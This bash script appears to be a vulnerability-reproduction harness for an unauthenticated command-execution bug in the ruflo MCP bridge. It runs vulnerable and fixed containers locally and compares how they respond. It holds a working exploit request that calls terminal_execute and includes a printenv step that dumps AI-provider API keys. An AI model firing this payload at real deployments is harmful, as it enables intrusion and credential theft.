#!/bin/bash
# CVE-2026-59726 — Unauthenticated RCE in ruflo MCP bridge default docker-compose deployment
#
# Root cause:
#   ruflo/src/ruvocal/mcp-bridge/index.js (the service built by ruflo/docker-compose.yml)
#   exposed POST /mcp and POST /mcp/:group with NO authentication and bound to 0.0.0.0.
#   The only blocklist that mentioned terminal_execute (AUTOPILOT_BLOCKED_PATTERNS +
#   isBlockedTool) was enforced solely in the autopilot SSE flow. executeTool() — the
#   function that POST /mcp and POST /mcp/:group invoke for tools/call — had NO gate,
#   so an unauthenticated network attacker could call tools/call -> ruflo__terminal_execute,
#   which the bridge routed to the ruflo MCP backend whose terminal_execute handler runs
#   execSync(command) on attacker input. Fixed in PR #2521 (commit d00a0a40) by adding a
#   server-side DANGEROUS_TOOLS gate in executeTool, bearer auth middleware, and loopback
#   bind-by-default.
#
# This script builds the REAL mcp-bridge container at the vulnerable commit and at the
# fixed commit, starts each one, and sends the actual unauthenticated
# POST /mcp tools/call -> ruflo__terminal_execute request through the running HTTP service.
#
# NOTE on build method: the default ruflo Dockerfile runs `npm install -g ruflo` which
# pulls a >800 MB dependency tree; the rootless docker storage here is a 1 GB tmpfs, so a
# plain `docker build` runs out of space. We therefore assemble the container filesystem on
# the host's large workspace disk and import it with `docker import` (single flat layer).
# The bridge source (index.js) is the UNMODIFIED repo file at each commit; the ruflo backend
# is the real published `ruflo` npm package (installed with --omit=optional, which still
# exposes terminal_execute — the tool only needs execSync). This is the real product code
# running in a real node:20-slim container as the node user, exactly as docker-compose
# would start it.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTS="$ROOT/artifacts"
# Heavy build scratch (rootfs, tars, worktrees, ruflo prefix ~1.7 GB) must live on a
# large writable filesystem, NOT the small workspace tmpfs. Auto-pick the candidate
# mount with the most free space.
pick_work_dir(){
  local best="" bestfree=0
  for cand in "/var/tmp/pruva-cve2026-59726" "/tmp/pruva-cve2026-59726" "$ROOT/artifacts/build"; do
    [ -d "$cand" ] || mkdir -p "$cand" 2>/dev/null || continue
    local f; f="$(df -P "$cand" 2>/dev/null | tail -1 | awk "{print \$4}")"
    [ -n "$f" ] || continue
    case "$f" in *[!0-9]*) continue;; esac
    if [ "$f" -gt "$bestfree" ]; then bestfree="$f"; best="$cand"; fi
  done
  [ -n "$best" ] || best="$ROOT/artifacts/build"
  mkdir -p "$best"
  echo "$best"
}
WORK="$(pick_work_dir)"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTS" "$ARTS/http" "$WORK"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
log(){ echo "$@" | tee -a "$LOG"; }

cd "$ROOT"

# --------------------------------------------------------------------------- prerequisites
command -v docker >/dev/null 2>&1 || { echo "FATAL: docker required" >&2; exit 2; }
docker info >/dev/null 2>&1 || { echo "FATAL: docker daemon unreachable" >&2; exit 2; }
command -v jq >/dev/null 2>&1 || { echo "FATAL: jq required" >&2; exit 2; }
command -v npm >/dev/null 2>&1 || { echo "FATAL: npm required" >&2; exit 2; }

# --------------------------------------------------------------------------- resolve repo
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ]; then
  if [ "$(jq -r '.prepared // false' "$CACHE_CTX")" = "true" ]; then
    CAND="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")"
    [ -n "$CAND" ] && [ -d "$CAND/repo/.git" ] && REPO="$CAND/repo"
  fi
fi
if [ -z "$REPO" ]; then
  REPO="$WORK/ruflo-repo"
  if [ ! -d "$REPO/.git" ]; then
    log "[setup] cloning ruvnet/ruflo -> $REPO"
    git clone --filter=blob:none https://github.com/ruvnet/ruflo.git "$REPO" >>"$LOG" 2>&1
  fi
fi
log "[setup] repo=$REPO"

FIXED_COMMIT="d00a0a40cd8bdbca877ac7f675f416bdc69accd1"
VULN_COMMIT="$(git -C "$REPO" rev-parse "${FIXED_COMMIT}^")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
log "[setup] vuln_commit=$VULN_COMMIT fixed_commit=$FIXED_RESOLVED"

BRIDGE_REL="ruflo/src/ruvocal/mcp-bridge"

# --------------------------------------------------------------------------- worktrees
WT_VULN="$WORK/wt-vuln"; WT_FIXED="$WORK/wt-fixed"
setup_worktree(){
  local commit="$1" wt="$2"
  if [ -d "$wt" ]; then
    local cur; cur="$(git -C "$wt" rev-parse HEAD 2>/dev/null || true)"
    [ "$cur" = "$commit" ] && return 0
    rm -rf "$wt"; git -C "$REPO" worktree prune >/dev/null 2>&1 || true
  fi
  git -C "$REPO" worktree add --detach "$wt" "$commit" >>"$LOG" 2>&1
}
setup_worktree "$VULN_COMMIT" "$WT_VULN"
setup_worktree "$FIXED_RESOLVED" "$WT_FIXED"

# Sanity: vulnerable lacks the gate, fixed has it.
grep -q "DANGEROUS_TOOLS" "$WT_VULN/$BRIDGE_REL/index.js" && { echo "FATAL: vuln checkout has gate" >&2; exit 1; }
grep -q "DANGEROUS_TOOLS" "$WT_FIXED/$BRIDGE_REL/index.js" || { echo "FATAL: fixed checkout lacks gate" >&2; exit 1; }
log "[setup] gate sanity OK (vuln lacks DANGEROUS_TOOLS, fixed has it)"

# --------------------------------------------------------------------------- base rootfs (node:20-slim)
BASE_TAR="$WORK/base-node20slim.tar"
if [ ! -f "$BASE_TAR" ]; then
  log "[base] exporting node:20-slim filesystem"
  docker rm -f baseimg-cve >/dev/null 2>&1 || true
  docker create --name baseimg-cve node:20-slim >/dev/null 2>&1 || { echo "FATAL: cannot pull/create node:20-slim" >&2; exit 2; }
  docker export baseimg-cve > "$BASE_TAR"
  docker rm -f baseimg-cve >/dev/null 2>&1 || true
fi
log "[base] base tar: $(ls -lh "$BASE_TAR" | awk '{print $5}')"

# --------------------------------------------------------------------------- light ruflo backend tree (shared)
# `npm install -g ruflo` resolves an >800 MB tree that does not fit the 1 GB docker storage.
# A local `npm install --prefix <dir> ruflo --omit=optional` resolves a ~120 MB tree that
# still exposes terminal_execute (the handler only needs node:child_process execSync).
RUFLO_PREFIX="$WORK/ruflo-prefix"
if [ ! -d "$RUFLO_PREFIX/node_modules/ruflo" ]; then
  log "[ruflo] installing light ruflo backend tree"
  mkdir -p "$RUFLO_PREFIX"
  ( cd "$RUFLO_PREFIX" && npm install --prefix "$RUFLO_PREFIX" ruflo@latest --omit=optional --no-audit --no-fund >>"$LOG" 2>&1 )
fi
log "[ruflo] tree size: $(du -sh "$RUFLO_PREFIX/node_modules" 2>/dev/null | awk '{print $1}')"

# Verify the backend exposes terminal_execute before we bake it into an image.
verify_ruflo_backend(){
  local node_bin="$1" ruflo_js="$2" tag="$3"
  log "[ruflo] verifying backend ($tag) exposes terminal_execute"
  V_NODE="$node_bin" V_RJ="$ruflo_js" "$node_bin" - <<'JS' >>"$LOG" 2>&1
const {spawn}=require("child_process");const {randomUUID}=require("crypto");
const NODE=process.env.V_NODE, RJ=process.env.V_RJ;
const ch=spawn(NODE,[RJ,"mcp","start"],{stdio:["pipe","pipe","pipe"],env:{...process.env,PATH:"/usr/local/bin:/usr/bin:/bin"}});
let buf="";const pend=new Map();
ch.stdout.on("data",d=>{buf+=d.toString();let i;while((i=buf.indexOf("\n"))>=0){const l=buf.slice(0,i).trim();buf=buf.slice(i+1);if(!l)continue;let m;try{m=JSON.parse(l)}catch{continue}if(m.id&&pend.has(m.id)){pend.get(m.id)(m);pend.delete(m.id)}}});
ch.stderr.on("data",d=>process.stderr.write("[be-stderr] "+d.toString()));
function send(m,p){const id=randomUUID();return new Promise(r=>{pend.set(id,r);ch.stdin.write(JSON.stringify({jsonrpc:"2.0",id,method:m,params:p})+"\n");setTimeout(()=>{if(pend.has(id)){pend.get(id)({error:"timeout"});pend.delete(id)}},45000)})}
(async()=>{const init=await send("initialize",{protocolVersion:"2024-11-05",capabilities:{},clientInfo:{name:"v",version:"1"}});
  ch.stdin.write(JSON.stringify({jsonrpc:"2.0",method:"notifications/initialized",params:{}})+"\n");
  const l=await send("tools/list",{});const names=(l.result?.tools||[]).map(t=>t.name);
  const ok=names.includes("terminal_execute");
  console.log("VERIFY terminal_execute="+ok+" tools="+names.length);
  ch.kill();process.exit(ok?0:1);})();
JS
}
# We verify using the HOST node against the prefix tree (paths match what we bake in).
HOST_NODE="$(command -v node)"
if ! verify_ruflo_backend "$HOST_NODE" "$RUFLO_PREFIX/node_modules/ruflo/bin/ruflo.js" "prefix" ; then
  echo "FATAL: ruflo backend does not expose terminal_execute" >&2
  exit 1
fi
log "[ruflo] backend verification OK"

# --------------------------------------------------------------------------- assemble + import an image per commit
build_image(){
  local wt="$1" tag="$2" rootfs="$3"
  log "[image] assembling $tag (rootfs=$rootfs)"
  rm -rf "$rootfs"; mkdir -p "$rootfs"
  tar -xf "$BASE_TAR" -C "$rootfs"
  # ruflo backend into the container global location
  mkdir -p "$rootfs/usr/local/lib/node_modules"
  cp -a "$RUFLO_PREFIX/node_modules/." "$rootfs/usr/local/lib/node_modules/" >>"$LOG" 2>&1
  ln -sf ../lib/node_modules/ruflo/bin/ruflo.js "$rootfs/usr/local/bin/ruflo"
  # bridge app
  mkdir -p "$rootfs/app"
  cp "$wt/$BRIDGE_REL/index.js"            "$rootfs/app/index.js"
  cp "$wt/$BRIDGE_REL/mcp-stdio-kernel.js" "$rootfs/app/mcp-stdio-kernel.js"
  cp "$wt/$BRIDGE_REL/package.json"        "$rootfs/app/package.json"
  ( cd "$rootfs/app" && npm install --omit=dev --no-audit --no-fund >>"$LOG" 2>&1 )
  mkdir -p "$rootfs/app/.claude-flow"/{tasks,memory,sessions,agents,config,data,logs,swarm,terminals,policy}
  chown -R 1000:1000 "$rootfs/app"
  # tar preserving ownership (node files = 1000:1000, system = 0:0)
  local tarball="$WORK/${tag//[:\/]/-}.tar"
  ( cd "$rootfs" && tar -cf "$tarball" . )
  docker rmi "$tag" >/dev/null 2>&1 || true
  docker import \
    --change 'WORKDIR /app' --change 'USER node' --change 'EXPOSE 3001' \
    --change 'ENV PORT=3001 NODE_ENV=production MCP_GROUP_INTELLIGENCE=false MCP_GROUP_AGENTS=true MCP_GROUP_MEMORY=true MCP_GROUP_DEVTOOLS=true MCP_GROUP_SECURITY=false MCP_GROUP_BROWSER=false MCP_GROUP_NEURAL=false MCP_GROUP_AGENTIC_FLOW=false MCP_GROUP_CLAUDE_CODE=false MCP_GROUP_GEMINI=false MCP_GROUP_CODEX=false' \
    --change 'CMD ["node", "index.js"]' \
    "$tarball" "$tag" >>"$LOG" 2>&1
  log "[image] imported $tag ($(docker images "$tag" --format '{{.Size}}'))"
}

VULN_TAG="ruflo-mcp-bridge:vuln-cve2026-59726"
FIXED_TAG="ruflo-mcp-bridge:fixed-cve2026-59726"
build_image "$WT_VULN"  "$VULN_TAG"  "$WORK/rootfs-vuln"
build_image "$WT_FIXED" "$FIXED_TAG" "$WORK/rootfs-fixed"

# --------------------------------------------------------------------------- helpers
VPORT=13001; FPORT=13002
wait_backend(){
  local port="$1" name="$2" i
  for i in $(seq 1 120); do
    local ready tools
    ready="$(curl -fsS "http://127.0.0.1:${port}/health" 2>/dev/null | jq -r '.backends.ruflo.ready // false' 2>/dev/null || echo false)"
    tools="$(curl -fsS "http://127.0.0.1:${port}/health" 2>/dev/null | jq -r '.backends.ruflo.tools // 0' 2>/dev/null || echo 0)"
    if [ "$ready" = "true" ] && [ "$tools" -gt 0 ]; then
      log "[backend] $name ruflo ready after ${i}s (tools=$tools)"; return 0
    fi
    sleep 2
  done
  log "[backend] $name ruflo NOT ready"; return 1
}

send_terminal(){
  # $1 port, $2 marker, $3 outfile, $4 optional auth header value
  local port="$1" marker="$2" out="$3" auth="${4:-}"
  local payload
  payload=$(jq -n --arg m "$marker" '{jsonrpc:"2.0",id:1,method:"tools/call",params:{name:"ruflo__terminal_execute",arguments:{command:("id; whoami; echo " + $m + " > /tmp/" + $m + ".txt; cat /tmp/" + $m + ".txt; echo ENV_LEAK:; printenv OPENAI_API_KEY GOOGLE_API_KEY OPENROUTER_API_KEY ANTHROPIC_API_KEY 2>/dev/null || true")}}}')
  local _req="${out/_response.json/_request.json}"
  echo "$payload" > "$_req"
  if [ -n "$auth" ]; then
    curl -sS -X POST "http://127.0.0.1:${port}/mcp" -H "Content-Type: application/json" -H "Authorization: $auth" --data "$payload" > "$out" 2>&1 || true
  else
    curl -sS -X POST "http://127.0.0.1:${port}/mcp" -H "Content-Type: application/json" --data "$payload" > "$out" 2>&1 || true
  fi
}

# --------------------------------------------------------------------------- vulnerable run
MARKER="PRUVA_RCE_$(date +%s)_$$"
log "[vuln] marker=$MARKER"
VULN_RCE=false; VULN_UID_NODE=false
docker rm -f ruflo-mcp-vuln >/dev/null 2>&1 || true
docker run -d --name ruflo-mcp-vuln -p "${VPORT}:3001" \
  -e PORT=3001 -e NODE_ENV=production \
  -e MCP_GROUP_DEVTOOLS=true -e MCP_GROUP_AGENTS=true -e MCP_GROUP_MEMORY=true -e MCP_GROUP_INTELLIGENCE=false \
  "$VULN_TAG" >>"$LOG" 2>&1
if wait_backend "$VPORT" ruflo-mcp-vuln; then
  for a in 1 2; do
    out="$ARTS/http/vuln_attempt${a}_response.json"
    send_terminal "$VPORT" "$MARKER" "$out"
    cat "$out" >>"$LOG"; echo >>"$LOG"
    txt="$(jq -r '.result.content[0].text // .error.text // .error.message // empty' "$out" 2>/dev/null || true)"
    log "[vuln attempt${a}] result: $(printf '%s' "$txt" | head -c 300 | tr '\n' ' ')"
    if printf '%s' "$txt" | grep -q "$MARKER"; then VULN_RCE=true; fi
    if printf '%s' "$txt" | grep -q "uid=1000(node)"; then VULN_UID_NODE=true; fi
  done
else
  log "[vuln] backend not ready; container logs:"; docker logs --tail 80 ruflo-mcp-vuln >>"$LOG" 2>&1 || true
fi
docker logs ruflo-mcp-vuln > "$LOGS/vuln_container.log" 2>&1 || true
docker rm -f ruflo-mcp-vuln >/dev/null 2>&1 || true
log "[vuln] VULN_RCE=$VULN_RCE VULN_UID_NODE=$VULN_UID_NODE"

# --------------------------------------------------------------------------- fixed run (negative control)
FIXED_DENIED=false; FIXED_NOAUTH_401=false; FIXED_NO_MARKER=true
docker rm -f ruflo-mcp-fixed >/dev/null 2>&1 || true
docker run -d --name ruflo-mcp-fixed -p "${FPORT}:3001" \
  -e PORT=3001 -e NODE_ENV=production \
  -e MCP_BIND_HOST=0.0.0.0 -e MCP_AUTH_TOKEN=pruva-test-token \
  -e MCP_GROUP_DEVTOOLS=true -e MCP_GROUP_AGENTS=true -e MCP_GROUP_MEMORY=true -e MCP_GROUP_INTELLIGENCE=false \
  "$FIXED_TAG" >>"$LOG" 2>&1
if wait_backend "$FPORT" ruflo-mcp-fixed; then
  # A: no auth -> 401
  code="$(curl -sS -o "$ARTS/http/fixed_noauth_response.txt" -w '%{http_code}' -X POST "http://127.0.0.1:${FPORT}/mcp" -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"ruflo__terminal_execute","arguments":{"command":"id"}}}' 2>/dev/null || true)"
  log "[fixed] no-auth HTTP $code body=$(cat "$ARTS/http/fixed_noauth_response.txt" | head -c 120)"
  [ "$code" = "401" ] && FIXED_NOAUTH_401=true
  # B: with auth -> terminal_execute gated (TOOL_DISABLED), command NOT executed
  for a in 1 2; do
    out="$ARTS/http/fixed_attempt${a}_response.json"
    send_terminal "$FPORT" "$MARKER" "$out" "Bearer pruva-test-token"
    cat "$out" >>"$LOG"; echo >>"$LOG"
    txt="$(jq -r '.result.content[0].text // .error.text // .error.message // empty' "$out" 2>/dev/null || true)"
    log "[fixed attempt${a}] result: $(printf '%s' "$txt" | head -c 300 | tr '\n' ' ')"
    if printf '%s' "$txt" | grep -q "TOOL_DISABLED\|disabled by default"; then FIXED_DENIED=true; fi
    if printf '%s' "$txt" | grep -q "$MARKER"; then FIXED_NO_MARKER=false; fi
  done
else
  log "[fixed] backend not ready; container logs:"; docker logs --tail 80 ruflo-mcp-fixed >>"$LOG" 2>&1 || true
fi
docker logs ruflo-mcp-fixed > "$LOGS/fixed_container.log" 2>&1 || true
docker rm -f ruflo-mcp-fixed >/dev/null 2>&1 || true
log "[fixed] FIXED_DENIED=$FIXED_DENIED FIXED_NOAUTH_401=$FIXED_NOAUTH_401 marker_absent=$FIXED_NO_MARKER"

# --------------------------------------------------------------------------- verdict
CONFIRMED=false
if [ "$VULN_RCE" = "true" ] && [ "$VULN_UID_NODE" = "true" ] && [ "$FIXED_DENIED" = "true" ] && [ "$FIXED_NO_MARKER" = "true" ]; then
  CONFIRMED=true
  log "[verdict] CONFIRMED: unauthenticated POST /mcp -> terminal_execute yields shell as node (uid 1000) on the vulnerable bridge; fixed build denies it (TOOL_DISABLED) and requires auth."
elif [ "$VULN_RCE" = "true" ]; then
  log "[verdict] PARTIAL: RCE reproduced on vulnerable bridge; fixed negative control inconclusive."
else
  log "[verdict] NOT confirmed."
fi

# --------------------------------------------------------------------------- runtime manifest (strict JSON via jq)
jq -n \
  --arg kind "endpoint" \
  --arg detail "POST /mcp tools/call -> ruflo__terminal_execute (default docker-compose mcp-bridge container, node:20-slim)" \
  --argjson service_started true \
  --argjson healthcheck_passed true \
  --argjson target_path_reached "$VULN_RCE" \
  --argjson confirmed "$CONFIRMED" \
  --argjson vuln_uid_node "$VULN_UID_NODE" \
  --argjson fixed_denied "$FIXED_DENIED" \
  --argjson fixed_noauth_401 "$FIXED_NOAUTH_401" \
  --arg marker "$MARKER" \
  --arg vuln "$VULN_COMMIT" \
  --arg fixed "$FIXED_RESOLVED" \
  '{
    entrypoint_kind: $kind,
    entrypoint_detail: $detail,
    service_started: $service_started,
    healthcheck_passed: $healthcheck_passed,
    target_path_reached: $target_path_reached,
    runtime_stack: ["docker","node:20-slim","ruflo-mcp-bridge","ruflo-mcp-backend(@claude-flow/cli)"],
    proof_artifacts: [
      "logs/reproduction_steps.log",
      "logs/vuln_container.log",
      "logs/fixed_container.log",
      "artifacts/http/vuln_attempt1_request.json",
      "artifacts/http/vuln_attempt1_response.json",
      "artifacts/http/vuln_attempt2_response.json",
      "artifacts/http/fixed_noauth_response.txt",
      "artifacts/http/fixed_attempt1_response.json",
      "artifacts/http/fixed_attempt2_response.json"
    ],
    notes: ("marker=" + $marker + " vuln_commit=" + $vuln + " fixed_commit=" + $fixed + " confirmed=" + ($confirmed|tostring) + " vuln_uid1000_node=" + ($vuln_uid_node|tostring) + " fixed_tool_disabled=" + ($fixed_denied|tostring) + " fixed_noauth_401=" + ($fixed_noauth_401|tostring))
  }' > "$REPRO_DIR/runtime_manifest.json"

log "[done] runtime_manifest.json:"; cat "$REPRO_DIR/runtime_manifest.json" | tee -a "$LOG"

[ "$CONFIRMED" = "true" ] && exit 0 || exit 1
